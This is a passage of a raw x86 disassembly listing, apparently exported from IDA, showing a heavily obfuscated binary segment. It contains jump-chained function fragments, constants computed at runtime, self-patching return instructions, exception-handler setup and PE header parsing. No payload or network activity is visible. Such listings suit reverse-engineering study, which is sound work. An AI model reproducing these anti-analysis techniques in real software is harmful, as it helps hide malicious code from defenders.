sub_44B1D2 loc_446F66: ; CODE XREF: sub_44B1D2:loc_4436D1j jg loc_44106E jmp loc_44C867 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- pop edx pop eax mov ds:dword_4401EC, edx loc_446F79: ; CODE XREF: y22d6.y.:00445EC0j ; y22d6.y.:0044C05Ej xchg eax, edx push offset sub_4401E3 jmp locret_43BB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BADD loc_446F84: ; CODE XREF: sub_44BADD+1Cj mov [edi], eax pop edi retn ; END OF FUNCTION CHUNK FOR sub_44BADD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_446F88: ; CODE XREF: sub_4480DE+Ej jmp loc_445FA4 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AC5C loc_446F8D: ; CODE XREF: sub_43AC5C+1338Cj push offset loc_43E150 jmp nullsub_266 ; END OF FUNCTION CHUNK FOR sub_43AC5C ; --------------------------------------------------------------------------- loc_446F97: ; CODE XREF: y22d6.y.:0044728Dj mov eax, [esp] call sub_43E48C ; START OF FUNCTION CHUNK FOR sub_44B81B loc_446F9F: ; CODE XREF: sub_44B81B-7653j jmp loc_448A14 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- loc_446FA4: ; CODE XREF: y22d6.y.:0044889Cj mov ds:off_41E0AC, eax lea eax, sub_44B81B call sub_437236 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_446FB5: ; CODE XREF: sub_4432B8+3D58j jmp loc_43FFF9 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_446FBA: ; CODE XREF: y22d6.y.:0043F98Bj jbe loc_44811A loc_446FC0: ; CODE XREF: y22d6.y.:loc_439128j and ecx, 0ECA0B191h loc_446FC6: ; CODE XREF: y22d6.y.:loc_4418BFj add ecx, 5BC1E018h mov [ecx], eax pop ecx jmp loc_447977 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_446FD5: ; CODE XREF: sub_441F08-2870j jmp loc_44360D ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_446FDA: ; CODE XREF: sub_438B66+5F31j jmp loc_44D2A1 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- loc_446FDF: ; CODE XREF: y22d6.y.:0043A932j jmp loc_43A6CB ; --------------------------------------------------------------------------- loc_446FE4: ; CODE XREF: y22d6.y.:0044AC21j mov ecx, 60BF1E07h ; =============== S U B R O U T I N E ======================================= sub_446FE9 proc near ; CODE XREF: sub_44B17B:loc_44A88Ap xchg edi, [esp+0] xchg esi, [esp+0] mov edi, esi pop esi jmp loc_44E2A5 sub_446FE9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_446FF7: ; CODE XREF: sub_4432B8-32AAj mov eax, 0CE14EFFFh call sub_43F7FF mov ds:off_41E044, eax lea eax, loc_43FFF9 mov byte ptr [eax], 0C3h jmp loc_446FB5 ; --------------------------------------------------------------------------- loc_447015: ; CODE XREF: sub_4432B8:loc_43FFF9j xchg esi, [esp+0] mov edx, esi pop esi jmp loc_449FAE ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- test al, al jz loc_443106 jmp loc_43D0C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44702D: ; CODE XREF: sub_4432B8+83j xchg eax, [esp+4+var_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_447036: ; CODE XREF: y22d6.y.:0044C401j and ebx, 904019Fh rol ebx, 11h add ebx, 65D0D8A3h rol ebx, 1 jmp loc_43D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_44704C: ; CODE XREF: sub_444427:loc_449910j mov edx, edi loc_44704E: ; CODE XREF: y22d6.y.:loc_4424A6j pop edi mov eax, [esp+0] push edx call sub_43887A jmp loc_44231A ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44705D: ; CODE XREF: sub_444D95:loc_44CDA7j ; sub_444D95+9044j push offset loc_448112 jmp loc_44D7C9 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C222 loc_447067: ; CODE XREF: sub_44C222+208j jle loc_4437FA loc_44706D: ; CODE XREF: sub_44C222-FECDj add ecx, 966D80F7h mov [ecx], eax pop ecx jmp loc_44A770 ; END OF FUNCTION CHUNK FOR sub_44C222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44707B: ; CODE XREF: sub_448EB6+2F09j jns loc_44424A mov [edx], edi shl esi, 15h jmp loc_44B7CC ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44708B: ; CODE XREF: y22d6.y.:loc_43EEE0j jnz loc_447EF7 ; START OF FUNCTION CHUNK FOR sub_44B489 loc_447091: ; CODE XREF: sub_44B489-7FBj jmp loc_4478F9 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- jz loc_43A3B3 loc_44709C: ; CODE XREF: y22d6.y.:loc_4388C1j popf jmp loc_447EEC ; --------------------------------------------------------------------------- xchg ebx, edx jmp sub_4476FF ; --------------------------------------------------------------------------- loc_4470A9: ; DATA XREF: sub_439932-95Eo pop ecx pop ebx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4470AC: ; CODE XREF: sub_448EB6+3F40j jmp loc_44D975 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_4470B1 proc near ; CODE XREF: sub_43FFBB:loc_448797p ; FUNCTION CHUNK AT 0043CBAE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043F7B8 SIZE 00000005 BYTES push large dword ptr fs:0 mov large fs:0, esp call sub_448039 call sub_4404D1 mov edx, [ebx+3Ch] jmp loc_43F7B8 sub_4470B1 endp ; --------------------------------------------------------------------------- loc_4470D1: ; CODE XREF: y22d6.y.:00445EC6j jz loc_442036 jmp loc_43A66E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_4470DC: ; CODE XREF: sub_44066C:loc_44AFDBj add eax, 0EE9B2978h mov eax, [eax] or eax, eax jnz loc_447C90 jmp loc_44C57D ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4470F1: ; CODE XREF: sub_44B17B:loc_43A554j call sub_441B5E loc_4470F6: ; CODE XREF: sub_442856+BC3Fj jmp loc_44882B ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443AFF loc_4470FB: ; CODE XREF: sub_443AFF+6j jmp loc_43CC84 ; END OF FUNCTION CHUNK FOR sub_443AFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_447100: ; CODE XREF: sub_4432B8+17Fj jmp loc_4423DC ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_447105: ; CODE XREF: y22d6.y.:loc_44B575j jl loc_43CEA3 loc_44710B: ; CODE XREF: y22d6.y.:00447939j jmp loc_4458E9 ; --------------------------------------------------------------------------- loc_447110: ; CODE XREF: y22d6.y.:00438C7Dj jmp loc_442911 ; --------------------------------------------------------------------------- jge loc_44BAD3 or eax, 4265F081h jno sub_44CBE5 xor esi, edi xchg eax, ecx jmp loc_43CEA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_447130: ; CODE XREF: sub_44B17B-80E4j jnz loc_43CE6E loc_447136: ; CODE XREF: sub_442FA7-9F9Bj ; y22d6.y.:0044D0CBj jmp loc_4411D8 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D041 loc_44713B: ; CODE XREF: sub_44D041+6j jmp loc_442339 ; END OF FUNCTION CHUNK FOR sub_44D041 ; --------------------------------------------------------------------------- test ecx, esi jmp loc_44A93B ; --------------------------------------------------------------------------- jmp ds:dword_41E0F0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sub al, 24h push ebp pop edx jmp loc_444AD2 ; --------------------------------------------------------------------------- loc_447157: ; DATA XREF: sub_44734D-C4BCo mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] ; START OF FUNCTION CHUNK FOR sub_43D20E loc_447165: ; CODE XREF: sub_43D20E:loc_438290j call sub_444DB4 ; END OF FUNCTION CHUNK FOR sub_43D20E ; START OF FUNCTION CHUNK FOR sub_439E63 loc_44716A: ; CODE XREF: sub_439E63+14Fj jmp loc_443DD9 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_44716F: ; CODE XREF: sub_44E63C-ED32j jz loc_44BFBD jmp loc_43E1B4 ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EF1 loc_44717A: ; CODE XREF: sub_443EF1-3D13j mov eax, offset dword_446DC0 call sub_43F4EA mov eax, [ebp-4] push offset loc_43F4E1 jmp loc_4393D6 ; END OF FUNCTION CHUNK FOR sub_443EF1 ; --------------------------------------------------------------------------- jns loc_43A4A0 jmp loc_4491D6 ; --------------------------------------------------------------------------- loc_44719C: ; DATA XREF: sub_44CB3F-3313o test byte ptr [ebp-7], 8 jz loc_43CE51 push ebp mov eax, [ebp-20h] call sub_43C3D7 push offset loc_4371A5 jmp locret_43E231 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4418C5 loc_4471B9: ; CODE XREF: sub_4418C5-7D34j mov eax, [eax] mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4418C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E313 loc_4471C5: ; CODE XREF: sub_44E313:loc_44E31Fj jmp sub_43F4BB ; END OF FUNCTION CHUNK FOR sub_44E313 ; --------------------------------------------------------------------------- loc_4471CA: ; DATA XREF: sub_43BEF7:loc_44506Co inc dword ptr [ebp-20h] dec dword ptr [ebp-2Ch] jnz loc_444B53 jmp loc_43B0BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C466 loc_4471DB: ; CODE XREF: sub_43C466+17j add ecx, 9B27330Dh add ecx, ebp add ecx, 0F4D5759Dh mov [ecx], eax pop ecx push offset loc_43AE9B jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_43C466 ; --------------------------------------------------------------------------- loc_4471F6: ; CODE XREF: y22d6.y.:loc_446E22j call sub_44ABDD push 0E29242BAh pop eax or eax, 29B47B2Ch jmp loc_43FABC ; --------------------------------------------------------------------------- jmp ds:dword_41E124 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444131 loc_447212: ; CODE XREF: sub_444131-4D2Ej jmp loc_43F23B ; END OF FUNCTION CHUNK FOR sub_444131 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_343. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or al, 24h mov edx, ecx pop ecx jns loc_4411FB mov eax, [esp] push edx jmp loc_4490A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44722C: ; CODE XREF: sub_448EB6-E8A5j popf shl esi, 12h loc_447230: ; CODE XREF: sub_448EB6:loc_448C24j mov eax, [esp-8+arg_4] call sub_4396B2 loc_447238: ; CODE XREF: y22d6.y.:004499E3j ; sub_44BF7B+Bj xchg eax, [esp-8+arg_4] mov edx, eax call sub_44D088 jmp loc_4413FC ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_447247: ; CODE XREF: y22d6.y.:0043FDF3j mov [esi], eax pop esi lea eax, sub_441651 mov byte ptr [eax], 0C3h jmp sub_441651 ; =============== S U B R O U T I N E ======================================= sub_447258 proc near ; CODE XREF: sub_4049E1+2FBp ; sub_408395+5Ep ... call sub_447268 jmp ds:off_41E06C sub_447258 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499F4 loc_447263: ; CODE XREF: sub_4499F4+13j jmp loc_43B135 ; END OF FUNCTION CHUNK FOR sub_4499F4 ; =============== S U B R O U T I N E ======================================= sub_447268 proc near ; CODE XREF: y22d6.y.:loc_442558j ; sub_447258p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00439CE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B88E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043CC15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E613 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442368 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004423F3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004475C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447E27 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00448181 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448D5D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00449EEE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044A7EE SIZE 00000007 BYTES pop edx jo loc_448D5D jmp loc_4475C7 sub_447268 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_447274: ; CODE XREF: sub_437FD8:loc_43AB6Bj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- call nullsub_10 jmp ds:dword_41E04C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp al, 24h mov edx, edi pop edi jb loc_44780C jmp loc_446F97 ; --------------------------------------------------------------------------- loc_447292: ; DATA XREF: y22d6.y.:00437B64o add eax, 4CD817E3h add eax, ebp add eax, 2133BF8Eh push offset loc_43A174 jmp locret_44AE9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_4472AA: ; CODE XREF: sub_44057E:loc_449A3Dj jbe loc_443106 jmp loc_43F3D3 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_4472B5: ; CODE XREF: y22d6.y.:004383B0j add edx, 7C2AA58Fh ; =============== S U B R O U T I N E ======================================= sub_4472BB proc near ; CODE XREF: sub_43E7F3+6p xchg ecx, [esp+0] pop ecx mov esp, ebp pop ebp retn sub_4472BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_4472C3: ; CODE XREF: sub_43F422+5B97j ; sub_43F422+D1E3j mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] jmp loc_43F487 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_4472CE: ; CODE XREF: sub_43DCC0+DDB6j pop edx and edx, 5B695A19h sub edx, 0DCB3702Eh add edx, 9A8F164Bh jmp loc_43EBBE ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4472E6: ; CODE XREF: sub_448EB6:loc_448D92j add ecx, 0FD6E6FC3h popf xchg ecx, [esp-0Ch+arg_8] jmp loc_43C3B3 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_4472F5: ; CODE XREF: sub_441F08:loc_441BEEj not ebx jbe loc_448BA3 jmp loc_43C25A ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_447302: ; CODE XREF: sub_43837F:loc_43D4F4j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_44BD75 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] jmp loc_44A510 ; END OF FUNCTION CHUNK FOR sub_43837F ; =============== S U B R O U T I N E ======================================= sub_44731A proc near ; CODE XREF: y22d6.y.:0044401Aj ; sub_449CBB+8p ; FUNCTION CHUNK AT 0043DA7B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E37A SIZE 00000005 BYTES xchg eax, [esp+0] pop eax test eax, eax jl loc_44B404 inc eax jmp loc_43DA7B sub_44731A endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_44732D: ; CODE XREF: sub_44C59C+BB4j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- loc_447332: ; CODE XREF: y22d6.y.:0044554Aj jmp loc_449E9D ; --------------------------------------------------------------------------- mov ds:dword_41E150, eax push offset loc_442B73 jmp locret_438CC0 ; --------------------------------------------------------------------------- loc_447347: ; CODE XREF: y22d6.y.:00442F79j ja near ptr dword_437434+15h ; =============== S U B R O U T I N E ======================================= sub_44734D proc near ; CODE XREF: sub_43D20E:loc_439C1Ap ; FUNCTION CHUNK AT 0043866E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AE8B SIZE 00000010 BYTES xchg edi, [esp+0] pop edi loc_447351: ; CODE XREF: y22d6.y.:loc_43C7BBj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_44DA43 loc_44735E: ; CODE XREF: sub_4432B8:loc_443515j jmp loc_43AE8B sub_44734D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_447363: ; CODE XREF: y22d6.y.:00440422j jl loc_43DF24 test edx, 35000DFBh jmp loc_44A476 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_447374: ; CODE XREF: sub_44BCC2:loc_43F542j add eax, ebx popf jmp loc_442F21 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_44737C: ; CODE XREF: sub_439C96+696Ej jnp loc_44D042 pop ebx jmp loc_440308 ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_447388: ; CODE XREF: sub_44AEDA+1F7Fj jbe loc_444187 loc_44738E: ; CODE XREF: sub_44AEDA:loc_43DBFEj mov eax, [ebp-1Ch] add eax, 4 push ebx push 9391F357h jmp loc_438BCA ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_44739F: ; CODE XREF: y22d6.y.:0044765Ej jnb loc_4484D9 rol edx, 0Eh jmp sub_43B566 ; --------------------------------------------------------------------------- locret_4473AD: ; CODE XREF: y22d6.y.:loc_442AB0j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448465 loc_4473AE: ; CODE XREF: sub_448465+1Ej jmp sub_44E1BD ; END OF FUNCTION CHUNK FOR sub_448465 ; --------------------------------------------------------------------------- loc_4473B3: ; CODE XREF: y22d6.y.:00445408j jmp loc_43E794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3AD loc_4473B8: ; CODE XREF: sub_43F3AD+8E93j xchg edx, [esp+0] mov ecx, edx pop edx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_43F3AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_4473C1: ; CODE XREF: sub_44B1D2+1F97j jmp nullsub_236 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_4473C6: ; CODE XREF: sub_44B635:loc_43F610j jmp loc_439D6C ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A4E4 loc_4473CB: ; CODE XREF: sub_43A4E4+Fj ; y22d6.y.:loc_44AC5Bj jmp loc_4453DB ; END OF FUNCTION CHUNK FOR sub_43A4E4 ; --------------------------------------------------------------------------- loc_4473D0: ; DATA XREF: sub_4409F4+8BE1o add edx, 6EBE7A28h call sub_43BDFB ; START OF FUNCTION CHUNK FOR sub_438A94 loc_4473DB: ; CODE XREF: sub_438A94+D97Ej jmp loc_44AC9E ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_4473E0: ; CODE XREF: sub_448C77-7E86j or esi, 676EAB84h add esi, 8844E27Eh xchg esi, [esp+8+var_8] jmp loc_44A99E ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_4473F4: ; CODE XREF: sub_44C59C+6j jz loc_43CCCA mov eax, [esp+0Ch+var_C] push ebp mov ebp, edx jmp loc_438968 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- loc_447405: ; CODE XREF: y22d6.y.:00444266j mov eax, [esp] push edx call sub_442060 mov eax, 7DA6ACC0h call sub_43CA1A mov ds:dword_41E0EC, eax jmp loc_43C19C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_447423: ; CODE XREF: sub_4449FA+7E90j push 50C56EB6h pop eax add eax, 0CE107AC7h xor eax, 0D0E91Ch and eax, 4BCB25AEh add eax, 0F642A809h xchg eax, [esp+4+var_4] jmp loc_447500 ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- cdq jmp loc_43925F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44744F: ; CODE XREF: sub_43B7B5:loc_44254Ej jz loc_443C2F jmp loc_437FD1 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44745A: ; CODE XREF: sub_4450FD:loc_44A590j call sub_4380CD pop ecx mov [ebp-20h], eax loc_447463: ; CODE XREF: sub_4372D3+3j ; sub_4450FD+4j ... mov eax, [ebp-20h] jmp loc_437DA4 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FEC6 loc_44746B: ; CODE XREF: sub_43FEC6:loc_441C83j and ecx, ds:4000E4h push offset sub_44CBE5 jmp loc_44BFF5 ; END OF FUNCTION CHUNK FOR sub_43FEC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_44747B: ; CODE XREF: sub_4383E0+12j ; sub_4432B8:loc_43D202j xor eax, 0DD2E82E9h sub eax, 0C1B919D7h add eax, 4D6CA854h add eax, ebp add eax, 326A2826h jmp loc_448B0E ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- loc_44749A: ; CODE XREF: y22d6.y.:loc_43F04Fj cmp byte ptr [eax], 0F1h jnz loc_447EBF loc_4474A3: ; CODE XREF: y22d6.y.:loc_439E4Ej jmp loc_4459B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4474A8: ; CODE XREF: sub_4432B8+2BDj jz loc_44AB59 loc_4474AE: ; CODE XREF: sub_440280+772Ej jmp loc_43D390 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ror ebx, 12h and edi, ecx jmp loc_44AB59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_4474BD: ; CODE XREF: sub_439A90+12DACj shl ebp, 1Eh loc_4474C0: ; CODE XREF: sub_439A90:loc_43BBACj call sub_4438A8 loc_4474C5: ; CODE XREF: sub_4450FD+8C0Aj cdq jmp loc_442058 ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- sub al, 99h mov edx, [ebp-4] push offset loc_4437CB jmp loc_43767B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_43BABB ; --------------------------------------------------------------------------- loc_4474E0: ; CODE XREF: y22d6.y.:0043FCD4j jmp loc_43CAD1 ; --------------------------------------------------------------------------- loc_4474E5: ; CODE XREF: y22d6.y.:0044B39Fj js loc_4498FF ; START OF FUNCTION CHUNK FOR sub_448C77 loc_4474EB: ; CODE XREF: sub_448C77:loc_4459D2j or esi, 2F31D754h add esi, 50CE0E43h xchg esi, [esp+8+var_8] jmp sub_43760A ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- locret_4474FF: ; CODE XREF: y22d6.y.:loc_43BC9Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_447500: ; CODE XREF: sub_4449FA+2A4Aj jmp sub_44ABDD ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_447505: ; CODE XREF: sub_440395:loc_43C7E1j pop ebx add ebx, 38E266CAh and ebx, 0FF4C16BAh add ebx, 85112A32h add ebx, ebp add ebx, 11A2BF5Ah mov ebx, [ebx] jmp loc_44CCCA ; END OF FUNCTION CHUNK FOR sub_440395 ; =============== S U B R O U T I N E ======================================= sub_447527 proc near ; CODE XREF: sub_43B98D-333Fp ; y22d6.y.:00438B0Fj ; FUNCTION CHUNK AT 0043C446 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi xor eax, ecx pop ecx push edi jmp loc_43C446 sub_447527 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_447534: ; CODE XREF: sub_4416F3-7A6j sub ecx, edx jmp loc_448D6A ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- mov ds:off_41E078, eax lea eax, loc_44C527 mov byte ptr [eax], 0C3h jmp loc_44C527 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_44754F: ; CODE XREF: sub_444871:loc_44C527j pop edx mov eax, [esp+0] push edx push eax push 9B327D45h jmp loc_440978 ; END OF FUNCTION CHUNK FOR sub_444871 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_44755F: ; CODE XREF: sub_4481EF-1002Fj rol ebx, 0Fh or ebx, 0BFA17068h add ebx, 408461EFh xchg ebx, [esp+4+var_4] jmp loc_43B210 ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- loc_447576: ; DATA XREF: sub_43F7FF:loc_44842Do mov edx, ds:dword_439198 or edx, edx jnz loc_439185 jmp loc_43C333 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444822 loc_44758A: ; CODE XREF: sub_444822:loc_440345j mov ds:off_41E218, eax lea eax, loc_43DDBB loc_447596: ; CODE XREF: y22d6.y.:004461D0j mov byte ptr [eax], 0C3h jmp loc_43DDBB ; END OF FUNCTION CHUNK FOR sub_444822 ; =============== S U B R O U T I N E ======================================= sub_44759E proc near ; CODE XREF: sub_40300B+94p ; sub_44759E+5j ; DATA XREF: ... call sub_4475B3 jmp ds:off_41E21C sub_44759E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CBBE loc_4475A9: ; CODE XREF: sub_44CBBE+30Fj jmp nullsub_233 ; END OF FUNCTION CHUNK FOR sub_44CBBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4475AE: ; CODE XREF: sub_4432B8:loc_44344Cj jmp loc_444DA4 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_4475B3 proc near ; CODE XREF: y22d6.y.:loc_438729j ; sub_43C6D7+603Ej ... var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004372C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004386D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004391C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B702 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043BC3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440473 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00440711 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004408BD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00441A3A SIZE 0000000A BYTES ; 